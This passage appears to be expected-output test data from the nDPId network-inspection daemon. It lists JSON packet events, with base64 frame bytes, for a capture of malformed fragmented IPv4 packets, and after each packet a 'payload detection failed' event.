+00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":113,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699217,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":114,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699229,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":115,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699241,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":116,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699252,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":117,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699263,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":118,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699276,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":119,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699288,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":120,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699300,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":121,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699311,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":122,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699323,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":123,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699335,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9kAGRLsKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":124,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699342,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+EAGRLkKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":125,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699349,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg+kAGRLcKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":126,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699356,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/EAGRLUKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":127,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699372,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg\/kAGRLMKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":128,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699384,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAEAGRLEKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":129,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699396,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhAkAGRK8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":130,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699427,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBEAGRK0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":131,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699441,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhBkAGRKsKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":132,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699453,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCEAGRKkKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":133,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699464,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhCkAGRKcKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":134,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699476,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":135,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699489,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":136,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699501,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":137,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699513,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":138,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699528,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":139,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699541,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":140,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699552,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":141,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699565,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":142,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699577,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":143,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699589,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":144,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699601,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":145,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699615,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":146,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699628,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":147,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699640,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAj9HUj9zUj83NDgzOTYpKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":148,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699652,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":149,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699663,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":150,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699675,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":151,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699686,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":152,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699697,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":153,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":154,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244024,"pkt_ts_usec":699723,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00187{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":155,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 